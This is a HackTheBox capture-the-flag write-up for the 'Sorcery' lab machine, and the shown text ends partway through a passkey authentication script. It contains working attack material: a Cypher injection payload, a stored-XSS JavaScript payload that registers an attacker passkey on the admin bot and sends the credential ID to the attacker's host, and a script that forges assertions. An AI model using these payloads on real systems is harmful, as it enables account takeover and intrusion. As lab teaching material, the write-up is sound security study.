HTB: Sorcery

Introduction
Greetings! Today, we're diving into Sorcerer, an insane-difficulty box from HackTheBox. This one is a marathon — twelve steps from first contact to root — and every single one of them teaches you something.
It starts with a Gitea instance at git.sorcery.htb hosting a public repository that contains the full source code for the application. Reading through it, we discover a Cypher injection vulnerability in the product lookup endpoint, which lets us query the Neo4j database directly. We use it to extract a seller registration key from a Config node.
With seller access, we can create products whose descriptions are rendered via React's dangerouslySetInnerHTML — a textbook Stored XSS. When a product is created, a headless Chrome bot visits the page using an admin JWT token. The bot's token is scoped to specific paths and is httpOnly, so we can't just steal it. Instead, our XSS payload performs a full WebAuthn passkey registration flow on behalf of the admin — constructing the attestation object manually with a precomputed P-256 keypair since crypto.subtle is unavailable over HTTP. We exfiltrate the credential ID, then authenticate from our machine by signing a challenge with our private key, obtaining an unrestricted admin JWT.
As admin, we gain access to a debug endpoint that sends raw TCP bytes to arbitrary internal hosts. We use this to craft a valid Kafka Produce API v0 wire-protocol request and publish a command to the update topic. A DNS service container consumes messages from this topic and passes them directly to bash -c, giving us RCE inside the DNS container.
From inside the container, we discover an internal FTP server hosting RootCA.crt and RootCA.key (encrypted, password: password). We use these to sign a TLS certificate for git.sorcery.htb, poison the DNS resolver via /dns/hosts-user to redirect the hostname to our IP, stand up a fake Gitea login page over HTTPS, and send a phishing email to tom_summers via the internal MailHog SMTP server. The mail bot clicks the link, trusts our CA-signed certificate, and submits Tom's credentials to our fake server.
Tom's SSH credentials land us on the host. We find an Xvfb framebuffer file owned by tom_summers_admin, convert it from XWD format to a PNG screenshot, and read the password directly off the screen capture.
As tom_summers_admin, we can run docker login and strace as rebecca_smith. We race a docker login invocation against strace to intercept the custom docker-credential-docker-auth helper writing credentials over a pipe. We extract the .NET single-file bundle, reverse engineer it with ilspycmd, discover it uses AES with an all-zeros key/IV, and implement the OTP algorithm (seeded from the current 10-minute window plus the user's UID). With rebecca_smith's password and a valid OTP, we authenticate to a local Docker registry, pull a test-domain-workstation image, and find FreeIPA enrollment credentials for donna_adams in the entrypoint script.
Finally, donna_adams has an indirect role that allows changing ash_winter's password via LDAP. ash_winter can be added to the sysadmins group, which has the manage_sudorules_ldap role. We add ash_winter to the allow_sudo rule, SSH in, restart sssd to refresh the sudo cache, and run sudo su for root.
Without further ado, let's get into it.
Scanning
We ran a full TCP port scan with nmap.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.237.242
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 11:44 EDT
Nmap scan report for 10.129.237.242
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_ 256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
443/tcp open ssl/http nginx 1.27.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after: 2052-03-18T02:09:11
|_http-title: Did not follow redirect to https://sorcery.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.96 seconds
Only two ports — SSH on 22 and nginx serving HTTPS on 443. The SSL certificate confirms the domain sorcery.htb. A tight attack surface, but as we'll see, the web application hides an enormous amount of complexity.
Enumerating web
sorcery.htb

Navigating to https://sorcery.htb/ redirects to /auth/login — a Next.js application with a login form. Looking at the page source, we found a link to a Gitea repository.
<a class="text-primary" href="https://git.sorcery.htb/nicole_sullivan/infrastructure">our repo</a>
We added git.sorcery.htb to our hosts file and investigated.
git.sorcery.htb

This is a self-hosted Gitea 1.22.1 instance. The infrastructure repository by nicole_sullivan is publicly accessible and contains the complete source code for the application — backend (Rust/Rocket), frontend (Next.js), and infrastructure configuration.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/code]
└─$ git -c http.sslVerify=false clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
Cloning into 'infrastructure'...
remote: Enumerating objects: 169, done.
remote: Counting objects: 100% (169/169), done.
remote: Compressing objects: 100% (142/142), done.
remote: Total 169 (delta 8), reused 169 (delta 8), pack-reused 0 (from 0)
Receiving objects: 100% (169/169), 136.24 KiB | 1.48 MiB/s, done.
Resolving deltas: 100% (8/8), done.
We spent significant time reading the codebase. Here's what matters.
Cypher injection to retrieve seller registration key
Understanding the vulnerability
The backend is written in Rust and uses Neo4j as its database. Looking at the product lookup endpoint in backend/src/api/products/get_one.rs, the id parameter is passed directly into a Cypher query string.
#[get("/<id>")]
pub async fn get_one(guard: RequireClient, id: &str) -> Result<Json<Response>, AppError> {
let product = match Product::get_by_id(id.to_owned()).await {
Some(product) => product,
None => return Err(AppError::NotFound),
};
if !product.should_show_for_user(&guard.claims) {
return Err(AppError::NotFound);
}
Ok(Json(Response { product }))
}
The procedural macro in backend-macros/src/lib.rs generates get_by_* functions that use string interpolation — not parameterised queries — to build Cypher statements:
let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
let name = field.ident.as_ref().unwrap();
let type_ = &field.ty;
let name_string = name.to_string();
let function_name = syn::Ident::new(
&format!("get_by_{}", name_string),
proc_macro2::Span::call_site(),
);
quote! {
pub async fn #function_name(#name: #type_) -> Option<Self> {
let graph = crate::db::connection::GRAPH.get().await;
let query_string = format!(
r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
#struct_name, #name_string, #name
);
let row = match graph.execute(
::neo4rs::query(&query_string)
).await.unwrap().next().await {
Ok(Some(row)) => row,
_ => return None
};
Self::from_row(row).await
}
}
});
This means if we inject Cypher syntax into the id parameter, we can break out of the MATCH clause and run our own queries. The Config node in the database schema contains a registration_key field that gates seller account creation.
#[derive(Deserialize, Model)]
struct Config {
is_initialized: bool,
registration_key: String,
}
Crafting the injection
We needed a payload that closes the existing MATCH, returns a dummy result, then unions with a second query that reads the Config node's registration_key. The trick is that the return type must match the Product schema (fields: id, name, description, is_authorized, created_by_id), so we construct a map that fits.
Payload:
"}) RETURN result UNION MATCH (c: Config) RETURN { id: "x", name: "x", description: c.registration_key, is_authorized: true, created_by_id: "x" } AS result //
GET /dashboard/store/%22%7d%29%20%52%45%54%55%52%4e%20%72%65%73%75%6c%74%20%55%4e%49%4f%4e%20%4d%41%54%43%48%20%28%63%3a%20%43%6f%6e%66%69%67%29%20%52%45%54%55%52%4e%20%7b%20%69%64%3a%20%22%78%22%2c%20%6e%61%6d%65%3a%20%22%78%22%2c%20%64%65%73%63%72%69%70%74%69%6f%6e%3a%20%63%2e%72%65%67%69%73%74%72%61%74%69%6f%6e%5f%6b%65%79%2c%20%69%73%5f%61%75%74%68%6f%72%69%7a%65%64%3a%20%74%72%75%65%2c%20%63%72%65%61%74%65%64%5f%62%79%5f%69%64%3a%20%22%78%22%20%7d%20%41%53%20%72%65%73%75%6c%74%20%2f%2f HTTP/1.1
Host: sorcery.htb
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6ImQ0YTI2ZDgyLWZlNjAtNDBiMy1hM2NmLWY0NjQ3NDZiY2RkYSIsInVzZXJuYW1lIjoidGVzdCIsInByaXZpbGVnZUxldmVsIjowLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzQ5ODk3fQ.PfztBMnIpF42XCe-ADLrSxxlUwCVN6PttD_yt9Snwas
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://sorcery.htb/dashboard/store/"})+RETURN+result+UNION+MATCH+(result%3a+Product+{id%3a+"88b6b6c5-a614-486c-9d51-d255f47efb4f"})+RETURN+result+/
Rsc: 1
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%22children%22%3A%5B%22store%22%2C%7B%22children%22%3A%5B%5B%22product%22%2C%2288b6b6c5-a614-486c-9d51-d255f47efb4f%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fdashboard%2Fstore%2F88b6b6c5-a614-486c-9d51-d255f47efb4f%22%2C%22refresh%22%5D%7D%2Cnull%2C%22refetch%22%5D%7D%5D%7D%5D%7D%5D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 08 Apr 2026 16:17:47 GMT
Content-Type: text/x-component
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 2746
3:I[9275,[],""]
5:I[1343,[],""]
4:["product","%22%7D)%20RETURN%20result%20UNION%20MATCH%20(c%3A%20Config)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20%22x%22%2C%20description%3A%20c.registration_key%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F","d"]
0:["eMXTkHuLPViqV0QpNTSCV",[["children","dashboard","children","store","children",["product","%22%7D)%20RETURN%20result%20UNION%20MATCH%20(c%3A%20Config)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20%22x%22%2C%20description%3A%20c.registration_key%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F","d"],[["product","%22%7D)%20RETURN%20result%20UNION%20MATCH%20(c%3A%20Config)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20%22x%22%2C%20description%3A%20c.registration_key%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F","d"],{"children":["__PAGE__",{}]}],[["product","%22%7D)%20RETURN%20result%20UNION%20MATCH%20(c%3A%20Config)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20%22x%22%2C%20description%3A%20c.registration_key%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F","d"],{"children":["__PAGE__",{},[["$L1","$L2"],null],null]},["$","$L3",null,{"parallelRouterKey":"children","segmentPath":["children","dashboard","children","store","children","$4","children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L5",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":["$","div",null,{"className":"rounded-xl border bg-card text-card-foreground shadow","children":["$","div",null,{"className":"flex flex-col space-y-1.5 p-6","children":["$","h3",null,{"className":"font-semibold tracking-tight text-3xl","children":"Not found (404)"}]}]}],"notFoundStyles":[],"styles":null}],null],[null,[null,"$L6"]]]]]
6:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}],["$","meta","1",{"charSet":"utf-8"}],["$","title","2",{"children":"Sorcery"}],["$","link","3",{"rel":"icon","href":"/favicon.ico","type":"image/x-icon","sizes":"16x16"}],["$","meta","4",{"name":"next-size-adjust"}]]
1:null
2:["$","div",null,{"className":"rounded-xl border bg-card text-card-foreground shadow flex flex-col","children":[["$","div",null,{"className":"flex flex-col space-y-1.5 p-6","children":["$","h3",null,{"className":"font-semibold leading-none tracking-tight","children":["$","p",null,{"className":"text-3xl","children":"x"}]}]}],["$","div",null,{"className":"p-6 pt-0 flex flex-col flex-1","children":["$","p",null,{"className":"mb-4 text-xl","dangerouslySetInnerHTML":{"__html":"dd05d743-b560-45dc-9a09-43ab18c7a513"}}]}]]}]
We URL-encoded this and sent it as the product ID via the Next.js RSC (React Server Component) interface, using the Rsc: 1 header.
The response contained the registration key in the description field:
dd05d743-b560-45dc-9a09-43ab18c7a513
We used this key to register a seller account (privilege level 1).
XSS in product creation feature
Understanding the vulnerability
With a seller account, we could create products. Looking at the frontend source for the product detail page, the description field is rendered using React's dangerouslySetInnerHTML:
async function _ProductPage({ params }: { params: { product: string } }) {
const response = await API().get(`product/${params.product}`);
if (response.status === 404) {
return notFound();
}
const { product } = (await response.json()) as Response;
return (
<Card className="flex flex-col">
<CardHeader>
<CardTitle>
<p className="text-3xl">{product.name}</p>
</CardTitle>
</CardHeader>
<CardContent className="flex flex-col flex-1">
<p
className="mb-4 text-xl"
dangerouslySetInnerHTML={{
__html: product.description,
}}
/>
</CardContent>
</Card>
);
}
This means any HTML or JavaScript we put in the description will execute when the page is visited. And crucially, when a new product is created, the backend spawns a headless Chrome instance that visits the product page with an admin JWT token set as a cookie.
We confirmed the XSS fires by creating a product with an <img> tag pointing to our listener.
POST /dashboard/new-product HTTP/1.1
Host: sorcery.htb
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjU2MTcyYTZjLWU5OTctNGIwOC04OTNjLWI1ZjM5Yjc3YWJkZCIsInVzZXJuYW1lIjoidGVzdHNlbGxlciIsInByaXZpbGVnZUxldmVsIjoxLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzUxNTMxfQ.6EuB8rFduEdcvFipXycdzakkPvqX9mIN0kuu5KBKJO8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://sorcery.htb/dashboard/new-product
Next-Action: e43c0e68ecc317131dbfa2479dcbffc95b724cc4
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%22children%22%3A%5B%22new-product%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fdashboard%2Fnew-product%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 52
Origin: https://sorcery.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
["testproduct1","<img src='http://10.10.14.102' />"]
┌──(kali㉿kali)-[~/Documents/htb/sorcerer]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.237.242] 58434
GET / HTTP/1.1
Host: 10.10.14.102
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://frontend:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
The bot hit our server. Now we needed to weaponise it.
XSS to admin JWT via WebAuthn passkey registration
The problem
The admin JWT token set on the bot's browser is httpOnly, so we can't read it with document.cookie. It's also scoped to specific paths via onlyForPaths. However, since Next.js Server Actions run server-side and automatically include the cookie, we can make the bot call Server Actions on our behalf — and those actions will carry the admin token.
#[post("/", data = "<data>")]
pub async fn insert_product(
guard: RequireSeller,
browser_store: &State<BrowserStore>,
data: Json<Request>,
) -> Result<Json<Response>, AppError> {
let id = Uuid::new_v4().to_string();
let product = Product {
id: id.to_string(),
name: data.name.clone(),
description: data.description.clone(),
is_authorized: false,
created_by_id: guard.claims.id,
};
product.save().await;
let user = User::get_by_username("admin".to_string()).await.unwrap();
let claim = UserClaims {
id: user.id,
username: user.username.to_owned(),
privilege_level: user.privilege_level,
with_passkey: true,
only_for_paths: Some(vec![
r"^\/api\/product\/[a-zA-Z0-9-]+$".to_string(),
r"^\/api\/webauthn\/passkey\/register\/start$".to_string(),
r"^\/api\/webauthn\/passkey\/register\/finish$".to_string(),
]),
exp: SystemTime::now()
.add(Duration::from_secs(60))
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs() as usize,
};
let token = encode(
&Header::default(),
&claim,
&EncodingKey::from_secret(JWT_SECRET.as_bytes()),
)
.unwrap();
let semaphore = browser_store.semaphore.clone();
tokio::task::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let url = format!("{}/dashboard/store/{}", &*INTERNAL_FRONTEND, product.id);
println!("[*] New request to visit {}", url);
let launch_options = LaunchOptions {
port: Some(rand::thread_rng().gen_range(8000..9000)),
sandbox: false,
..Default::default()
};
let browser = Browser::new(launch_options).unwrap();
let tab = browser.new_tab().unwrap();
tab.set_cookies(vec![CookieParam {
name: "token".to_string(),
value: token,
url: Some(INTERNAL_FRONTEND.clone()),
domain: None,
path: None,
secure: None,
http_only: Some(true),
same_site: None,
expires: None,
priority: None,
same_party: None,
source_scheme: None,
source_port: None,
partition_key: None,
}])
.unwrap();
tab.navigate_to(&url.clone()).unwrap();
tab.wait_until_navigated().unwrap();
tokio::time::sleep(Duration::from_secs(10)).await;
drop(browser);
println!("[*] Finished request to visit {}", url);
});
Ok(Json(Response { id }))
}
The plan
Our XSS payload needs to:
- Fetch the
/dashboard/profilepage via RSC to find the compiled JS chunk path - Extract the Server Action IDs (40-character hex strings) from the chunk — these correspond to
startRegistration,finishRegistration, andgetPasskey - Call
startRegistrationto get a WebAuthn challenge - Construct a fake credential using a precomputed P-256 keypair (since
crypto.subtleis unavailable over HTTP, we build the CBOR attestation manually) - Call
finishRegistrationto register the passkey against the admin's account - Exfiltrate the credential ID back to us
We generated a P-256 keypair on our machine and hardcoded the public key coordinates into the payload.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ python3 -c "
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
import hashlib
key = ec.generate_private_key(ec.SECP256R1())
pub = key.public_key()
raw = pub.public_bytes(Encoding.X962, PublicFormat.UncompressedPoint)
priv = key.private_numbers().private_value
print('x =', list(raw[1:33]))
print('y =', list(raw[33:65]))
print('priv_d =', hex(priv))
print('rpIdHash =', list(hashlib.sha256(b'sorcery.htb').digest()))
"
x = [51, 174, 177, 144, 127, 229, 160, 143, 77, 201, 249, 43, 204, 73, 141, 246, 61, 219, 132, 157, 119, 37, 56, 103, 158, 163, 1, 61, 18, 143, 247, 220]
y = [178, 51, 145, 58, 12, 146, 126, 33, 76, 75, 79, 47, 93, 65, 215, 21, 89, 199, 163, 93, 2, 224, 130, 168, 102, 67, 222, 226, 79, 251, 229, 96]
priv_d = 0xef1e0cfdf4934d510b824543a4d9767c848c3df68ccc2a0a1202a14656d3734d
rpIdHash = [215, 45, 36, 108, 93, 210, 51, 165, 99, 207, 112, 113, 31, 4, 139, 224, 46, 53, 173, 42, 144, 138, 214, 11, 158, 169, 147, 238, 185, 114, 119, 158]
The payload
The full JavaScript payload (payload.js) handles the entire flow: discovers action IDs dynamically, calls startRegistration, constructs a COSE-encoded public key, builds authenticatorData with the correct RP ID hash and flags, wraps it in a CBOR attestation object with fmt: "none", assembles a clientDataJSON, and posts the credential via finishRegistration. The credential ID is exfiltrated as an image request.
(async () => {
const ping = s => new Image().src = `http://10.10.14.102/?s=${encodeURIComponent(s)}`;
const b64u = buf => btoa(String.fromCharCode(...new Uint8Array(buf)))
.replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');
// Recursively find publicKey anywhere in a parsed object
function findPublicKey(obj) {
if (!obj || typeof obj !== 'object') return null;
if (obj.publicKey && obj.publicKey.challenge) return obj.publicKey;
for (const v of Object.values(obj)) {
const found = findPublicKey(v);
if (found) return found;
}
return null;
}
// Search ALL lines of RSC stream for publicKey — line 0 is router state, line 1 is data
function findPublicKeyInRSC(text) {
for (const line of text.trim().split('\n')) {
const colon = line.indexOf(':');
if (colon === -1) continue;
try {
const parsed = JSON.parse(line.slice(colon + 1));
const pk = findPublicKey(parsed);
if (pk) return pk;
} catch {}
}
return null;
}
ping('start');
try {
// 1. Fetch profile page RSC to find the compiled JS chunk
const rsc = await fetch('/dashboard/profile', {
headers: { 'Rsc': '1' }
}).then(r => r.text());
const chunkMatch = rsc.match(/"(static\/chunks\/app\/dashboard\/profile\/page-[^"]+\.js)"/);
if (!chunkMatch) { ping('no_chunk'); return; }
const chunkUrl = '/_next/' + chunkMatch[1];
ping('chunk_found');
// 2. Fetch the chunk and extract Server Action IDs (40-char hex strings)
const chunk = await fetch(chunkUrl).then(r => r.text());
const ids = [...new Set(chunk.match(/\b[a-f0-9]{40}\b/g) || [])];
ping('ids_' + ids.length);
if (!ids.length) { ping('no_ids'); return; }
// 3. Find startRegistration: call each with no args, look for publicKey in response
let startId = null, pubKey = null;
for (const id of ids) {
const r = await fetch('/dashboard/profile', {
method: 'POST',
headers: { 'Next-Action': id, 'Content-Type': 'text/plain;charset=UTF-8' },
body: '[]'
});
const text = await r.text();
// Exfiltrate raw response for first ID to diagnose format if needed
if (startId === null && ids.indexOf(id) === 0) {
ping('r0_' + encodeURIComponent(text.slice(0, 150)));
}
const pk = findPublicKeyInRSC(text);
if (pk) {
startId = id;
pubKey = pk;
break;
}
}
if (!pubKey) { ping('no_challenge'); return; }
ping('got_challenge');
const challengeB64u = pubKey.challenge;
// 4. Hardcoded P-256 keypair — generated on attacker machine, keep priv_d for auth later
const x = new Uint8Array([51, 174, 177, 144, 127, 229, 160, 143, 77, 201, 249, 43, 204, 73, 141, 246, 61, 219, 132, 157, 119, 37, 56, 103, 158, 163, 1, 61, 18, 143, 247, 220]);
const y = new Uint8Array([178, 51, 145, 58, 12, 146, 126, 33, 76, 75, 79, 47, 93, 65, 215, 21, 89, 199, 163, 93, 2, 224, 130, 168, 102, 67, 222, 226, 79, 251, 229, 96]);
const rpIdHash = new Uint8Array([215, 45, 36, 108, 93, 210, 51, 165, 99, 207, 112, 113, 31, 4, 139, 224, 46, 53, 173, 42, 144, 138, 214, 11, 158, 169, 147, 238, 185, 114, 119, 158]);
// 5. Build COSE public key (CBOR map)
const coseKey = new Uint8Array([
0xa5,
0x01, 0x02, // kty: EC2
0x03, 0x26, // alg: ES256 (-7)
0x20, 0x01, // crv: P-256
0x21, 0x58, 0x20, ...x, // x coordinate
0x22, 0x58, 0x20, ...y, // y coordinate
]);
// 6. Build authenticatorData — crypto.getRandomValues works on HTTP
const credId = crypto.getRandomValues(new Uint8Array(16));
const authData = new Uint8Array(32 + 1 + 4 + 16 + 2 + credId.length + coseKey.length);
let off = 0;
authData.set(rpIdHash, off); off += 32;
authData[off++] = 0x45; // flags: UP=1, UV=1, AT=1
off += 4; // counter = 0 (4 bytes)
off += 16; // aaguid = 16 zero bytes
authData[off++] = 0;
authData[off++] = credId.length;
authData.set(credId, off); off += credId.length;
authData.set(coseKey, off);
// 7. Build clientDataJSON
const clientDataJSON = new TextEncoder().encode(JSON.stringify({
type: 'webauthn.create',
challenge: challengeB64u,
origin: 'https://sorcery.htb',
crossOrigin: false
}));
// 8. Build attestationObject (minimal CBOR: fmt="none", attStmt={}, authData=bytes)
const adLen = authData.length;
// Use 2-byte length prefix if authData > 255 bytes
const adLenBytes = adLen > 255
? [0x59, adLen >> 8, adLen & 0xff]
: [0x58, adLen];
const attObj = new Uint8Array([
0xa3,
0x63, 0x66, 0x6d, 0x74, // "fmt"
0x64, 0x6e, 0x6f, 0x6e, 0x65, // "none"
0x67, 0x61, 0x74, 0x74, 0x53, 0x74, 0x6d, 0x74, // "attStmt"
0xa0, // {}
0x68, 0x61, 0x75, 0x74, 0x68, 0x44, 0x61, 0x74, 0x61, // "authData"
...adLenBytes, ...authData
]);
const credential = {
id: b64u(credId),
rawId: b64u(credId),
type: 'public-key',
clientExtensionResults: {},
response: {
attestationObject: b64u(attObj),
clientDataJSON: b64u(clientDataJSON),
transports: ['internal']
}
};
// 9. Try remaining IDs as finishRegistration (takes [credential] arg)
for (const id of ids) {
if (id === startId) continue;
const r = await fetch('/dashboard/profile', {
method: 'POST',
headers: { 'Next-Action': id, 'Content-Type': 'text/plain;charset=UTF-8' },
body: JSON.stringify([credential])
});
const txt = await r.text();
ping('fin_' + r.status + '_' + id.slice(0,8) + '_' + encodeURIComponent(txt.slice(0,60)));
}
// 10. Exfiltrate credId — needed along with priv_d to authenticate later
new Image().src = `http://10.10.14.102/?credId=${encodeURIComponent(b64u(credId))}`;
} catch(e) {
ping('err_' + e.message.slice(0, 80));
}
})();
We deployed the payload, created a product with <script src='http://10.10.14.102/payload.js'></script> in the description, and watched the callbacks.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /payload.js HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=start HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=chunk_found HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=ids_3 HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=r0_0%253A%255B%2522%2524%25401%2522%252C%255B%2522eMXTkHuLPViqV0QpNTSCV%2522%252Cnull%255D%255D%250A1%253A%257B%2522error%2522%253A%257B%2522error%2522%253A%2522422%2520Unprocessable%2520Entity%2522%257D%257D%250A HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=got_challenge HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=fin_200_60971a2b_0%253A%255B%2522%2524%25401%2522%252C%255B%2522eMXTkHuLPViqV0QpNTSCV%2522%252Cnull%255D%255D%250A1%253A%257B%2522result%2522%253Anull%257D%250A HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?s=fin_200_343f2024_0%253A%255B%2522%2524%25401%2522%252C%255B%2522eMXTkHuLPViqV0QpNTSCV%2522%252Cnull%255D%255D%250A1%253A%257B%2522error%2522%253A%257B%2522error%2522 HTTP/1.1" 200 -
10.129.237.242 - - [08/Apr/2026 13:51:40] "GET /?credId=h4usX1jPMKpqQ3cW-mntmQ HTTP/1.1" 200 -
Passkey registered. Credential ID: h4usX1jPMKpqQ3cW-mntmQ.
Authenticating as admin
Now we needed to use the registered passkey to authenticate from our machine. We wrote a Python script (auth_passkey.py) that:
- Fetches the
/auth/passkeypage chunk and extracts Server Action IDs - Calls
startAuthenticationwith usernameadminto get a challenge - Constructs
authenticatorData(RP ID hash + flags + counter) andclientDataJSON - Signs
authenticatorData || SHA256(clientDataJSON)using our private key (priv_d) with ECDSA-SHA256 - Calls
finishAuthenticationwith the signed assertion
import requests
import hashlib
import json
import base64
import struct
import re
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
import urllib3
urllib3.disable_warnings()
PRIV_D = 0xef1e0cfdf4934d510b824543a4d9767c848c3df68ccc2a0a1202a14656d3734d
CRED_ID = "h4usX1jPMKpqQ3cW-mntmQ"
TARGET = "https://sorcery.htb"
START_ID = "1efff30d879f3aea7d899128311edf11046f4a10" # known from browser
def b64u(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def action_post(session, action_id, args):
"""Call a Next.js Server Action on /auth/passkey."""
r = session.post(
f"{TARGET}/auth/passkey",
headers={
"Next-Action": action_id,
"Content-Type": "text/plain;charset=UTF-8",
},
data=json.dumps(args),
verify=False
)
return r
def parse_rsc(text):
"""Return all parsed values from RSC line stream."""
results = []
for line in text.strip().split('\n'):
colon = line.find(':')
if colon == -1:
continue
try:
results.append(json.loads(line[colon+1:]))
except Exception:
pass
return results
def find_token(parsed_lines):
for obj in parsed_lines:
if isinstance(obj, dict):
t = obj.get('result', {})
if isinstance(t, dict) and 'token' in t:
return t['token']
return None
session = requests.Session()
rsc = session.get(f"{TARGET}/auth/passkey", headers={"Rsc": "1"}, verify=False).text
chunk_match = re.search(r'"(static/chunks/app/auth/passkey/page-[^"]+\.js)"', rsc)
if not chunk_match:
# fallback: try login page chunk (actions are imported from login/actions.tsx)
chunk_match = re.search(r'"(static/chunks/app/auth/login/page-[^"]+\.js)"', rsc)
all_ids = [START_ID]
if chunk_match:
chunk_url = f"{TARGET}/_next/{chunk_match.group(1)}"
chunk = session.get(chunk_url, verify=False).text
found = list(set(re.findall(r'\b[a-f0-9]{40}\b', chunk)))
all_ids = list(set(found + [START_ID]))
print(f"[*] Found {len(all_ids)} action IDs: {all_ids}")
else:
print("[!] Could not find chunk, using START_ID only")
print(f"\n[*] Calling startAuthentication ({START_ID[:8]}...)")
r = action_post(session, START_ID, ["admin"])
lines = parse_rsc(r.text)
print(f"[start] status={r.status_code}")
challenge_b64u = None
for obj in lines:
if isinstance(obj, dict):
try:
challenge_b64u = obj['result']['challenge']['publicKey']['challenge']
break
except (KeyError, TypeError):
pass
if not challenge_b64u:
print(f"[!] Could not extract challenge. Raw:\n{r.text}")
exit(1)
print(f"[*] Challenge: {challenge_b64u}")
rp_id_hash = hashlib.sha256(b"sorcery.htb").digest()
flags = bytes([0x05]) # UP=1, UV=1
counter = struct.pack(">I", 0)
